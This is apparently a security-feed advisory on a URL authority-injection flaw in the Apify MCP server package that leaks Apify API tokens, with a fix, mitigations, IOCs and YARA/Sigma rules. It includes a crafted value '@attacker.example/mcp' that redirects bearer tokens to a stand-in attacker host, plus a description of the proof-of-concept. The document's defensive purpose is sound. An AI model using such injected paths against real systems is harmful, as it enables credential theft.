> ## Content Index
> Fetch the complete content index at: https://f4n6.co.uk/llms.txt
> Use this file to discover other available public pages before exploring further.

# Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
- URL: https://f4n6.co.uk/security-feed/apify-model-context-protocol-mcp-server-actor-mcp-path-authority-injection-leaks-apify-token/
- Published: 2026-07-02T09:02:02.000Z
- Updated: 2026-07-02T09:02:02.000Z
- Author: Jeff Davies
- Tags: #security-feed

## 1\. Executive summary

`@apify/actors-mcp-server` version `0.10.7` is vulnerable to URL authority injection via the `webServerMcpPath` field in Actor definitions fetched from the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can redirect the MCP client's outbound connection to an arbitrary host while the client unconditionally attaches the victim's `Authorization: Bearer <APIFY_TOKEN>` header, silently exfiltrating the Apify API token. CVSS Base Score: **8.1 (High)**. EMEA financial services running this MCP server version with a configured Apify token face credential theft granting full account access — including running Actors, accessing stored data, and incurring compute charges — requiring no special privileges or code execution on the victim side.

## 2\. Regulatory framing

| Article                                                                 | Trigger (the fact in this item)                                                                                                                                                                    | Practical impact                                                                                                                                           |
| ----------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| DORA Art. 17: ICT-related incident management process                   | Silent exfiltration of Apify API token (a credential granting full account access) constitutes an ICT-related incident requiring detection, assessment, and response.                              | Firms using @apify/actors-mcp-server@0.10.7 must have processes to detect token exfiltration, contain it (rotate token), and remediate (patch or disable). |
| DORA Art. 18: classification of ICT-related incidents and cyber threats | Credential theft via authority injection is a cyber threat with potential for data access and financial impact (unauthorised compute charges).                                                     | Incident classification should account for credential compromise severity and potential data exposure via the Apify platform.                              |
| NIS2 Art. 21(2)(d): supply chain security measures                      | The vulnerability is in a third-party npm package (@apify/actors-mcp-server) consumed by the organisation; the attacker exploits a malicious Actor published on the Apify platform (supply chain). | Organisations must assess risk of third-party MCP server packages and Actor definitions before integration.                                                |

## 3\. Technical analysis & attack chain

**Vulnerability mechanism:** `getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:

```ts
return `${standbyUrl}${mcpServerPath}`;

```

`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:

- begin with a `/` (relative path),
- avoid an `@` character (userinfo/authority injection), or
- resolve to the same origin as `standbyUrl`.

When `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:

```
https://real-actor-id.apify.actor@attacker.example/mcp

```

Node.js's WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname (RFC 3986 / WHATWG URL standard).

### Attack chain (confirmed steps)

1. Attacker publishes a malicious Actor on the Apify platform with `webServerMcpPath` set to `@attacker.example/mcp` (or any attacker-controlled host).
2. Victim running `@apify/actors-mcp-server@0.10.7` is induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against the malicious Actor.
3. `src/mcp/server.ts:811` — MCP `tools/call` request parameters are read.
4. `src/mcp/server.ts:816` — `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.
5. `src/tools/core/call_actor_common.ts:489-497` — attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.
6. `src/utils/actor.ts:24-28` — Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.
7. `src/mcp/actors.ts:14-20` — `webServerMcpPath` is trimmed and split; first element is returned without path validation.
8. `src/mcp/actors.ts:44` — `standbyUrl + mcpServerPath` produces an authority-injected URL.
9. `connectMCPClient()` is called with the injected URL and the victim's token.
10. `src/mcp/client.ts:94/103/124` — `Authorization: Bearer <APIFY_TOKEN>` is sent to the attacker's host via three transport types:
  - SSEClientTransport requestInit (line 94)
  - SSE fetch callback (line 103)
  - StreamableHTTPClientTransport requestInit (line 124)

### Three independent trigger paths to `connectMCPClient()`

| Call site                                 | Trigger                      |
| ----------------------------------------- | ---------------------------- |
| src/tools/core/call\_actor\_common.ts:317 | call-actor MCP tool          |
| src/utils/actor\_details.ts:155           | fetch-actor-details MCP tool |
| src/mcp/server.ts:1047                    | actor-mcp type tool loading  |

### Token resolution sources (all leak-capable)

- `_meta.apifyToken` (per-request MCP metadata)
- Server options
- `process.env.APIFY_TOKEN`

**Impact of token theft:** The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges.

**PoC verification:** The advisory includes a Docker-based PoC (`vuln-001-poc`) that runs fully air-gapped (`--network none`). The exploit:

1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).
2. Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm@11.1.3`.
3. Sets `NODE_EXTRA_CA_CERTS=/certs/cert.pem` so Node.js trusts the self-signed CA.
4. Runs `exploit.mjs`, which starts an HTTPS capture server on `127.0.0.1:31337`, constructs `webServerMcpPath = @127.0.0.1:31337/mcp`, calls `getActorMCPServerURL()` producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`, and calls `connectMCPClient()` with a simulated victim token `apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.

Observed output confirms the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.

### Node.js URL parser primitive verified

```
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1  ABC.apify.actor

```

**Confidence caveat:** All technical detail is single-sourced from the GitHub Advisory (GHSA-6gr2-qh89-hxwm). The PoC is self-contained and the data-flow chain is internally consistent, but no independent corroboration was available at time of writing. Verify before enforcement.

## 4\. Mitigation & containment

### P1 — Within 24h (containment)

1. **Rotate all Apify API tokens** that have been used with `@apify/actors-mcp-server@0.10.7`. Treat all tokens as potentially compromised if any Actor invocation against third-party Actors has occurred.
2. **Block outbound traffic** from hosts running `@apify/actors-mcp-server` to any host not matching `*.apify.actor` or `api.apify.com` at egress proxy/firewall level. This prevents token exfiltration even if the vulnerability is triggered.
3. **Audit Actor invocations:** Review logs for any `call-actor`, `fetch-actor-details`, or actor-mcp type tool calls against Actors not on an approved list. Any invocation of an unknown Actor should be treated as a potential token exfiltration event.

### P2 — Within 72h (remediation)

1. **Apply the recommended fix** to `src/mcp/actors.ts` if running from source:

```diff
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);

-    return `${standbyUrl}${mcpServerPath}`;
+    const url = new URL(mcpServerPath, `${standbyUrl}/`);
+    if (url.origin !== standbyUrl) {
+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+    }
+    url.username = '';
+    url.password = '';
+    return url.toString();
 }

```

1. **If running from npm:** Pin or upgrade to the first patched version when released. Until then, run a fork with the patch applied or disable `@apify/actors-mcp-server` entirely.
2. **Restrict Actor allowlist:** Configure the MCP server to only invoke Actors from trusted publishers. Do not allow invocation of arbitrary user-published Actors.

### P3 — Within 7 days (hardening)

1. **Implement egress allowlisting** for all MCP server infrastructure: permit only `*.apify.actor` and `api.apify.com` at network level.
2. **Add runtime validation:** Deploy a wrapper or middleware that intercepts `connectMCPClient()` calls and rejects any URL whose hostname does not match `*.apify.actor`.
3. **Monitor Apify account for anomalous activity:** Check for unauthorised Actor runs, unexpected dataset access, or unexplained compute charges.

## 5\. Indicators of compromise

| Type                      | Value                                          | Confidence                                                        | Source              |
| ------------------------- | ---------------------------------------------- | ----------------------------------------------------------------- | ------------------- |
| token (PoC demo)          | apify\_api\_VICTIM\_SECRET\_TOKEN\_DEMO\_12345 | High (PoC artefact only — not a real IOC)                         | GHSA-6gr2-qh89-hxwm |
| url pattern               | https://\*.apify.actor@\*                      | High (authority-injection URL pattern)                            | GHSA-6gr2-qh89-hxwm |
| port (PoC capture server) | 127.0.0.1:31337                                | Medium (PoC-specific; real attacks use attacker-controlled hosts) | GHSA-6gr2-qh89-hxwm |
| webServerMcpPath pattern  | @<attacker-host>/mcp                           | High (malicious Actor definition pattern)                         | GHSA-6gr2-qh89-hxwm |

```iocs
token  apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
url_pattern  https://*.apify.actor@*
port  127.0.0.1:31337
webServerMcpPath_pattern  @<attacker-host>/mcp

```

**Note:** The token value above is a PoC demo token, not a real compromised credential. The URL pattern and `webServerMcpPath` pattern are the operationally useful detection indicators.

## 6\. Detection

```yara
rule Apify_MCP_Token_Exfil_Authority_Injection {
    meta:
        author = "Adverse Trace"
        date = "2026-07-02"
        reference = "https://github.com/advisories/GHSA-6gr2-qh89-hxwm"
        description = "Detects Apify MCP server authority injection artefacts — webServerMcpPath with @ authority injection and token exfiltration patterns"
    strings:
        $webservermcpath_at = "webServerMcpPath" ascii
        $auth_bearer_apify = "Bearer apify_api_" ascii
        $apify_actor_host = "apify.actor@" ascii
        $getactormcpserverurl = "getActorMCPServerURL" ascii
        $connectmcpclient = "connectMCPClient" ascii
        $actors_ts_concat = "standbyUrl}${mcpServerPath}" ascii
        $poc_token = "apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" ascii
        $capture_port = "127.0.0.1:31337" ascii
    condition:
        3 of them
}

```

```yaml
title: Detect Apify MCP Server Authority Injection Token Exfiltration
id: 6a8e2f1c-3b4d-4e9a-8f1c-2a3b4c5d6e7f
status: experimental
description: Detects outbound connections from @apify/actors-mcp-server to non-apify.actor hosts carrying Authorization Bearer headers, indicating authority injection token exfiltration
references:

  - https://github.com/advisories/GHSA-6gr2-qh89-hxwm
author: Adverse Trace
date: 2026/07/02
logsource:
    product: network
    service: proxy/firewall/ids
detection:
    selection_outbound:
        destination.domain|contains:

            - "apify.actor"
    filter_legitimate:
        destination.domain|endswith:

            - ".apify.actor"
    selection_auth_header:
        http.request.header.authorization|startswith:

            - "Bearer apify_api_"
    condition: selection_auth_header and not filter_legitimate
falsepositives:

    - Legitimate Apify API calls to api.apify.com (ensure allowlist covers this)
    - Internal testing with self-signed certificates
level: high

```

```yaml
title: Detect Malicious Actor with webServerMcpPath Authority Injection
id: 7b9f3e2d-4c5e-4f0b-9e2d-3b4c5d6e7f8a
status: experimental
description: Detects MCP tool calls referencing Actors with webServerMcpPath containing @ character (authority injection pattern)
references:

  - https://github.com/advisories/GHSA-6gr2-qh89-hxwm
author: Adverse Trace
date: 2026/07/02
logsource:
    product: application
    service: apify-actors-mcp-server
detection:
    selection_tool_call:
        event.action:

            - "call-actor"
            - "fetch-actor-details"
    selection_malicious_path:
        mcp.actor.webServerMcpPath|contains:

            - "@"
    condition: selection_tool_call and selection_malicious_path
falsepositives:

    - None expected — legitimate webServerMcpPath values should be relative paths starting with /
level: critical

```

## 7\. Sources

- GitHub Advisory Database — "Actor MCP path authority injection leaks Apify token" (GHSA-6gr2-qh89-hxwm) — https://github.com/advisories/GHSA-6gr2-qh89-hxwm — Published 2026-07-01

## 8\. Adverse Trace position

**Severity: High (CVSS 8.1).** This is a credential exfiltration vulnerability requiring no privileges or code execution on the victim side — only that the victim invokes a tool against an attacker-controlled Actor. For EMEA financial services using `@apify/actors-mcp-server@0.10.7` with a configured Apify token, the risk is direct: full Apify account compromise including data access and unauthorised compute charges. The attack surface is broad because any user-published Actor on the Apify platform can carry a malicious `webServerMcpPath`. No CISA-KEV entry was resolved for this item. Attribution is N/A (vulnerability advisory, no threat actor). All technical detail is single-sourced from GHSA-6gr2-qh89-hxwm — verify before enforcement. We will monitor for a patched version release and update this advisory when one is published. Clients running this package should rotate Apify tokens immediately and apply the source-level patch or disable the server until a patched package is available.

---

[Read the original source →](https://github.com/advisories/GHSA-6gr2-qh89-hxwm?ref=f4n6.co.uk)

*Published via PulseTrace — Adverse Trace threat intelligence.*